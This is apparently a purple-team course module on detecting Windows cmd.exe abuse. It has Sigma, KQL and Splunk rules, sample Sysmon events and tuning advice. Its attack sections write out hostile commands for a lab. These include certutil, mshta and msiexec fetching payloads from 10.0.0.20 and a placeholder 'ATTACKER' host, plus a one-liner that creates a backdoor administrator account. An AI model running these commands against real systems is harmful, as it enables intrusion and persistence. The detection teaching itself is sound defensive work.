In this section

PT3.2 Command and Scripting Interpreter: Windows Command Shell (T1059.003)

15-20 hours · Module 3

1. Scene

It's 11:47 on a Monday. DESKTOP-NGE019: a finance workstation at Northgate Engineering, shows a process tree that shouldn't exist. Word.exe spawned cmd.exe. cmd.exe spawned whoami.exe. Twelve seconds later, cmd.exe spawned net.exe with the arguments net user /domain. Fourteen seconds after that, cmd.exe spawned nltest.exe with /dclist:. The pattern is textbook: an Office document delivered a payload, and the payload is running initial reconnaissance through the command shell.

Your PowerShell detection rules are silent because no PowerShell was involved. The attacker chose cmd.exe deliberately, it's less monitored, less logged, and the commands produce no Script Block Logging. The only detection signal is Sysmon Event ID 1 process creation, and only if your rules know what to look for when cmd.exe is the execution engine instead of PowerShell.

2. Learning Objectives

By the end of this sub you will be able to:

  • Execute cmd.exe attack patterns (reconnaissance chains, LOLBin execution, and piped command sequences) against your lab endpoint and observe the Sysmon Event ID 1 telemetry each produces
  • Identify the parent-process and command-line patterns that distinguish attacker cmd.exe usage from legitimate administration and login scripts
  • Write and tune Sigma rules that detect cmd.exe abuse through process ancestry and command-line content analysis

3. The Technique

T1059.003. Command and Scripting Interpreter: Windows Command Shell

The Windows command shell (cmd.exe) is the original command-line interpreter on Windows systems. While PowerShell has become the primary administrative tool, cmd.exe remains available on every Windows system and is actively used by attackers for several reasons.

First, cmd.exe is less monitored than PowerShell. Most detection engineering effort targets PowerShell because it's the more capable tool. Attackers know this. When an attacker lands on a system where PowerShell is constrained (CLM, AppLocker, ScriptBlock Logging), cmd.exe is the fallback that often has no dedicated detection coverage.

Second, cmd.exe has no equivalent to Script Block Logging. PowerShell logs the decoded content of every script block it executes. cmd.exe logs only what appears in the process creation event: the command line as passed by the parent process. There's no deobfuscation layer, no second-chance detection.

Third, cmd.exe provides access to every built-in Windows command (net, whoami, nltest, systeminfo, tasklist, reg, schtasks, certutil) without loading a scripting runtime. These are the reconnaissance and living-off-the-land commands that attackers use in the first minutes after gaining execution.

What you already know
You know what cmd.exe does and you've used it for administration. You've probably seen reconnaissance commands in incident reports. This sub focuses on the detection gap: what makes cmd.exe execution detectable when there's no Script Block Logging, and how to build rules that catch attacker patterns without alerting on every login script and batch file in the environment.
Lab boundary. Run all commands on PT-WIN-ENDPOINT only. The reconnaissance commands in this sub (net user, nltest, systeminfo) query Active Directory and enumerate domain information. Running them on a production network generates security events that your SOC team will investigate. Run them in your isolated lab.

6. The Attack

Variant 1. Post-exploitation reconnaissance chain

The most common cmd.exe attack pattern is the reconnaissance chain: a series of built-in commands run in rapid succession to map the system, the user, and the domain. Attackers run these within the first 60 seconds of gaining execution:

:: Reconnaissance chain — 6 commands, 30 seconds
whoami
whoami /priv
hostname
systeminfo | findstr /B /C:"OS Name" /C:"OS Version" /C:"System Type"
net user /domain
nltest /dclist:

Each command answers a specific question. whoami identifies the user context. whoami /priv checks for SeDebugPrivilege (needed for credential dumping). hostname identifies the machine. systeminfo fingerprints the OS version and architecture. net user /domain enumerates domain users. nltest /dclist: identifies domain controllers for lateral movement.

The telemetry: each command produces a separate Sysmon Event ID 1 with cmd.exe or the specific binary (whoami.exe, net.exe, nltest.exe) as the image. The parent for all of them is cmd.exe. The detection signal is the cluster, six reconnaissance commands from the same parent within 60 seconds.

Variant 2. LOLBin execution via cmd

Attackers use cmd.exe to launch living-off-the-land binaries (LOLBins), legitimate Windows executables repurposed for malicious activity:

:: Download a file using certutil (T1105)
certutil.exe -urlcache -split -f http://10.0.0.20:8080/payload.exe C:\ProgramData\svc.exe

:: Decode a Base64-encoded payload using certutil
certutil.exe -decode C:\ProgramData\encoded.b64 C:\ProgramData\payload.exe

:: Execute a DLL using rundll32
rundll32.exe C:\ProgramData\malicious.dll,EntryPoint

:: Execute an HTA file from a URL using mshta
mshta.exe http://10.0.0.20:8080/payload.hta

:: Execute code via MSIEXEC
msiexec.exe /q /i http://10.0.0.20:8080/payload.msi

Each LOLBin command is individually legitimate, certutil manages certificates, rundll32 loads DLLs, mshta runs HTML applications, msiexec installs software. The detection signal is the context: certutil downloading from an external URL, rundll32 loading a DLL from a non-standard path, mshta fetching content from an IP address.

Variant 3. Command chaining and piping

Attackers chain commands with &, &&, and | to execute multi-step operations in a single process creation event:

:: Single-line reconnaissance chain (one process creation event)
whoami & hostname & ipconfig /all & net user /domain & net group "Domain Admins" /domain

:: Conditional execution, run the second command only if the first succeeds
net user backdoor P@ssw0rd! /add && net localgroup Administrators backdoor /add

:: Output piping to file (staging for exfiltration)
systeminfo > C:\ProgramData\sysinfo.txt & net user /domain >> C:\ProgramData\sysinfo.txt

Chained commands appear as a single long string in the process creation command line. Your detection rule needs to parse the command line for the individual commands within the chain — findstr or regex matching on the command-line content.

Variant 4, cmd.exe spawned from suspicious parents

The most reliable detection signal for cmd.exe abuse is the parent process. cmd.exe launched from explorer.exe (user double-clicked a batch file) is common. cmd.exe launched from winword.exe, excel.exe, or outlook.exe is a macro executing. cmd.exe launched from wmiprvse.exe is remote WMI execution. cmd.exe launched from w3wp.exe is a web shell.

Suspicious Parent Processes for cmd.exe
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
Parent                  What it means
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
winword.exe             Macro execution from Word document
excel.exe               Macro execution from Excel document
outlook.exe             Macro or link execution from email
powerpnt.exe            Macro execution from PowerPoint
mshta.exe               HTA executing cmd, often attack chain
wmiprvse.exe            Remote WMI execution from another host
w3wp.exe                Web shell on IIS server
httpd.exe / nginx       Web shell on Apache/Nginx
java.exe / javaw.exe    Exploit of Java-based application
python.exe / python3    Python-based exploit or implant
svchost.exe (unusual)   Service-based execution (verify service name)
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
Detection: alert when cmd.exe parent is in the suspicious list
Tuning: verify each parent, some are legitimate in specific contexts

7. What Just Fired

Sysmon Event ID 1, cmd.exe spawned from Word

{
  "EventID": 1,
  "UtcTime": "2026-04-28 11:47:12.891",
  "ProcessId": 9412,
  "Image": "C:\\Windows\\System32\\cmd.exe",
  "CommandLine": "cmd.exe /c whoami & hostname & net user /domain",
  "ParentProcessId": 5116,
  "ParentImage": "C:\\Program Files\\Microsoft Office\\root\\Office16\\WINWORD.EXE",
  "ParentCommandLine": "\"C:\\Program Files\\Microsoft Office\\root\\Office16\\WINWORD.EXE\" /n \"C:\\Users\\t.ashworth\\Downloads\\Q4-Budget-Review.docm\"",
  "User": "YOURLAB\\t.ashworth",
  "IntegrityLevel": "Medium"
}

The critical fields: ParentImage is WINWORD.EXE (Office spawned cmd), CommandLine contains a reconnaissance chain (whoami, hostname, net user), and the ParentCommandLine shows a .docm file opened from the Downloads folder. This is a macro-enabled document executing reconnaissance.

Sysmon Event ID 1. Reconnaissance tools spawned from cmd

Following the initial cmd.exe spawn, each tool in the chain produces its own Event 1:

{
  "EventID": 1,
  "Image": "C:\\Windows\\System32\\whoami.exe",
  "CommandLine": "whoami",
  "ParentImage": "C:\\Windows\\System32\\cmd.exe",
  "ParentProcessId": 9412,
  "User": "YOURLAB\\t.ashworth"
}

The correlation link is ParentProcessId (9412): all reconnaissance tools share the same parent cmd.exe PID.

8. The Detection

Sigma rule. Office application spawning cmd.exe

title: Office Application Spawning Command Shell
id: rc-pt-exec-003
status: stable
description: |
    Detects cmd.exe or command-line tools spawned by Microsoft Office
    applications. This is the execution step of a macro-based attack
    and should never occur in normal Office usage.
references:
    - https://attack.mitre.org/techniques/T1059/003/
    - https://attack.mitre.org/techniques/T1204/002/
author: Ridgeline Cyber
date: 2026/04/28
tags:
    - attack.execution
    - attack.t1059.003
    - attack.t1204.002
logsource:
    category: process_creation
    product: windows
detection:
    selection_parent:
        ParentImage|endswith:
            - '\winword.exe'
            - '\excel.exe'
            - '\powerpnt.exe'
            - '\outlook.exe'
            - '\msaccess.exe'
            - '\mspub.exe'
    selection_child:
        Image|endswith:
            - '\cmd.exe'
            - '\powershell.exe'
            - '\pwsh.exe'
            - '\wscript.exe'
            - '\cscript.exe'
            - '\mshta.exe'
            - '\certutil.exe'
            - '\rundll32.exe'
    condition: selection_parent and selection_child
falsepositives:
    - Legitimate Office add-ins that spawn command-line processes
    - Office macros used for approved business automation
level: high
// Office application spawning command shell or scripting engine
// Sigma rule: rc-pt-exec-003
DeviceProcessEvents
| where TimeGenerated > ago(1h)
| where InitiatingProcessFileName in~ (
    "winword.exe", "excel.exe", "powerpnt.exe",
    "outlook.exe", "msaccess.exe", "mspub.exe"
)
| where FileName in~ (
    "cmd.exe", "powershell.exe", "pwsh.exe",
    "wscript.exe", "cscript.exe", "mshta.exe",
    "certutil.exe", "rundll32.exe"
)
| project TimeGenerated, DeviceName, AccountName,
          FileName, ProcessCommandLine,
          InitiatingProcessFileName,
          InitiatingProcessCommandLine
// Office spawning command shell
DeviceProcessEvents
| where Timestamp > ago(1h)
| where InitiatingProcessFileName in~ (
    "winword.exe", "excel.exe", "powerpnt.exe",
    "outlook.exe", "msaccess.exe", "mspub.exe"
)
| where FileName in~ (
    "cmd.exe", "powershell.exe", "pwsh.exe",
    "wscript.exe", "cscript.exe", "mshta.exe",
    "certutil.exe", "rundll32.exe"
)
| project Timestamp, DeviceName, AccountName,
          FileName, ProcessCommandLine,
          InitiatingProcessFileName
index=sysmon EventCode=1
(ParentImage="*\\winword.exe" OR ParentImage="*\\excel.exe"
 OR ParentImage="*\\powerpnt.exe" OR ParentImage="*\\outlook.exe")
(Image="*\\cmd.exe" OR Image="*\\powershell.exe" OR Image="*\\wscript.exe"
 OR Image="*\\cscript.exe" OR Image="*\\mshta.exe" OR Image="*\\certutil.exe")
| table _time host user Image CommandLine ParentImage ParentCommandLine

Sigma rule. Rapid reconnaissance command burst

title: Rapid Reconnaissance Command Burst
id: rc-pt-exec-004
status: stable
description: |
    Detects three or more reconnaissance commands (whoami, net, nltest,
    systeminfo, ipconfig, tasklist) executed within 60 seconds from
    the same parent process. Indicates automated post-exploitation
    reconnaissance.
references:
    - https://attack.mitre.org/techniques/T1059/003/
    - https://attack.mitre.org/tactics/TA0007/
author: Ridgeline Cyber
date: 2026/04/28
tags:
    - attack.execution
    - attack.t1059.003
    - attack.discovery
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        Image|endswith:
            - '\whoami.exe'
            - '\net.exe'
            - '\net1.exe'
            - '\nltest.exe'
            - '\systeminfo.exe'
            - '\ipconfig.exe'
            - '\tasklist.exe'
            - '\qwinsta.exe'
            - '\nslookup.exe'
    timeframe: 60s
    condition: selection | count() by ParentProcessId >= 3
falsepositives:
    - Login scripts that run multiple system queries
    - Monitoring tools that poll system state
level: medium
// Rapid reconnaissance command burst (3+ recon tools in 60s from same parent)
// Sigma rule: rc-pt-exec-004
let recon_tools = dynamic(["whoami.exe", "net.exe", "net1.exe", "nltest.exe",
    "systeminfo.exe", "ipconfig.exe", "tasklist.exe", "qwinsta.exe", "nslookup.exe"]);
DeviceProcessEvents
| where TimeGenerated > ago(1h)
| where FileName in~ (recon_tools)
| summarize CommandCount = count(),
            Commands = make_set(FileName),
            FirstSeen = min(TimeGenerated),
            LastSeen = max(TimeGenerated)
    by DeviceName, InitiatingProcessId, bin(TimeGenerated, 1m)
| where CommandCount >= 3
| where datetime_diff('second', LastSeen, FirstSeen) <= 60

Why these rules work together

Rule rc-pt-exec-003 (Office spawning cmd) catches the initial execution: the moment the macro fires. Rule rc-pt-exec-004 (reconnaissance burst) catches the follow-on activity: the reconnaissance chain that runs after the attacker has a shell. Together they detect the full attack pattern: phishing email → macro execution → reconnaissance. Either rule alone produces useful alerts; both together provide the full chain context.

Known evasions

Renamed cmd.exe. The attacker copies cmd.exe to a different location with a different name. Sysmon Event 1 captures the OriginalFileName field, which is Cmd.Exe regardless of what the file is renamed to. Use OriginalFileName in detection rules, not just Image.

PowerShell instead of cmd. Some macros launch PowerShell directly instead of cmd.exe. The Office-spawning-child rule already covers this (it includes powershell.exe in the child selection). The reconnaissance burst rule doesn't apply because PowerShell reconnaissance uses different cmdlets (Get-ADUser, Get-ADDomain).

Indirect execution. The macro spawns a benign process (like explorer.exe) that then spawns cmd.exe. The parent process for cmd.exe is now explorer.exe (legitimate-looking). This bypasses the Office-spawning-cmd rule. Detection requires looking at the grandparent process or the process tree depth.

9. The Tuning Loop

False positive sources

Login scripts. Domain login scripts (.bat, .cmd) run via cmd.exe at logon and may execute reconnaissance commands (ipconfig, net use). These fire the reconnaissance burst rule. Frequency: once per logon per user (potentially hundreds per day at shift change).

Approved Office macros. Some organizations have legitimate VBA macros that invoke cmd.exe for file operations. These fire the Office-spawning-cmd rule. Frequency: low (typically 1-5 specific macros identified during tuning).

Monitoring agents. Some monitoring tools run whoami or systeminfo on schedule. These fire the reconnaissance burst rule if the interval is short enough. Frequency: depends on agent configuration.

Concrete tuning strategies

Tune by parent path for login scripts. Login scripts execute from the NETLOGON share path (e.g., \\psyche.yourlab.local\NETLOGON\login.cmd). Add a parent command-line exclusion for scripts in the NETLOGON path, this suppresses login-script activity without suppressing attacker cmd.exe usage.

Tune by time window for reconnaissance. Login-script reconnaissance commands run within 5 seconds of logon. Attacker reconnaissance typically starts 30+ seconds after initial execution (the attacker needs to assess the environment first). A time-offset filter, exclude reconnaissance bursts that start within 10 seconds of the user's logon event, reduces login-script noise while preserving attacker detection.

Tune by approved macro hash. For the Office-spawning-cmd rule, identify the 1-5 approved macros in the environment. Exclude by the specific document hash (the ParentCommandLine contains the document path, hash the document). New documents spawning cmd.exe trigger the alert.

Baseline FP rate. Expect 20-40 FPs per day from the reconnaissance burst rule before tuning (login scripts dominate). After NETLOGON path exclusion: 2-5 per day. The Office-spawning-cmd rule produces 0-3 FPs per day, most environments have very few legitimate macros that spawn shells.

Continuous purple-team rhythm. Monthly retest: open a test .docm on PT-WIN-ENDPOINT, confirm the Office-spawning-cmd rule fires. Run the 6-command reconnaissance chain, confirm the burst rule fires. 5-minute test, confirms both detection layers.

10. Decision Exercise

You receive the following alert from rc-pt-exec-003:

Process: cmd.exe
Command: cmd.exe /c "echo %USERNAME% > C:\Users\Public\info.txt"
Parent:  WINWORD.EXE
Parent Command: "...\WINWORD.EXE" /n "C:\Users\j.harris\Desktop\Invoice-2026-04.docm"
User:    YOURLAB\j.harris
Time:    09:15 UTC (Monday)
Device:  DESKTOP-NGE041

Choose one:

A. True positive, isolate DESKTOP-NGE041. Word opened a .docm that executed cmd.exe writing the username to a public directory. This is a macro payload staging data for exfiltration.

B. True positive, but low severity. The command writes the username to a text file, which is reconnaissance, not immediate damage. Investigate the document origin before containment.

C. Likely false positive, j.harris may have a legitimate macro that writes user info to a file. Check with the user before escalating.

D. Needs investigation, check the document source (email attachment? downloaded?), check for follow-on commands from the same cmd.exe PID, and check whether j.harris has reported anything suspicious.

Model answer

D is the optimal answer. The alert is suspicious. Word should not spawn cmd.exe writing data to a public directory, but the command itself is low-impact (writing a username to a text file). The investigation determines whether this is the first stage of a multi-stage payload or an isolated oddity.

1. Check the document source, was Invoice-2026-04.docm received via email? Downloaded from the web? If email, check the sender and whether the attachment passed Defender for Office 365. 2. Check for follow-on commands, query Sysmon for additional process creation events with ParentProcessId matching this cmd.exe PID. If the reconnaissance chain follows (whoami, net user, nltest), it's a multi-stage payload and escalation is immediate. 3. Check the file content — C:\Users\Public\info.txt containing just the username is a beacon check ("am I running?"). The real payload usually follows within seconds.

Why not A: Immediate isolation on a single low-impact command may be premature: the 2-minute investigation confirms whether follow-on activity exists. If it does, isolate immediately.

Why not B: "Low severity" underestimates the risk. The username-to-file command is not the attack, it's the first heartbeat of a payload. The severity depends on what comes next.

Why not C: Checking with the user before investigating is backwards. The user opened a .docm called "Invoice-2026-04.docm", they probably received it via email and think it's a real invoice. Ask them after you've investigated, not before.

11. Try-it

whoami
whoami /priv
hostname
systeminfo | findstr /B /C:"OS Name" /C:"OS Version"
net user /domain
nltest /dclist:
certutil.exe -urlcache -split -f http://10.0.0.20:8080/payload.ps1 C:\ProgramData\test.ps1
cmd.exe /c "whoami & hostname & ipconfig /all & net user /domain"
Try it: fire cmd.exe attack variants and verify detection

Setup. PT-WIN-ENDPOINT with Sysmon active. Deploy Sigma rules rc-pt-exec-003 and rc-pt-exec-004 to Sentinel.

Task 1. Reconnaissance burst. Open cmd.exe on PT-WIN-ENDPOINT and run the 6-command reconnaissance chain within 60 seconds. Verify that rc-pt-exec-004 fires in Sentinel.

Task 2. LOLBin execution. Run a certutil download from PT-LINUX01's HTTP server:

Verify the Sysmon Event 1 captures the full command line including the external URL.

Task 3. Chained commands. Execute a single-line chain and verify the full chain appears in one process creation event:

Expected result. Task 1 fires rc-pt-exec-004 (3+ recon tools in 60s). Task 2 produces a Sysmon Event 1 with certutil and an external URL (a separate detection rule would catch this, certutil download detection is covered in M6 Defense Evasion). Task 3 produces a single Sysmon Event 1 with the full chained command visible.

Debugging.

If Task 1 doesn't fire rc-pt-exec-004: check whether your KQL summarization window is correct. The bin(TimeGenerated, 1m) may need adjustment if the telemetry arrival is delayed.

If Task 2 command line is truncated: check Sysmon configuration. CommandLine logging must be enabled (it is by default, but some configurations truncate long command lines). Verify in the Sysmon config XML.

Reference Card

# Reconnaissance chain
whoami & hostname & net user /domain & nltest /dclist:

# LOLBin download via certutil
certutil.exe -urlcache -split -f http://ATTACKER:8080/payload.exe C:\ProgramData\svc.exe

# Office-to-cmd execution chain
Word.exe → cmd.exe /c "recon commands"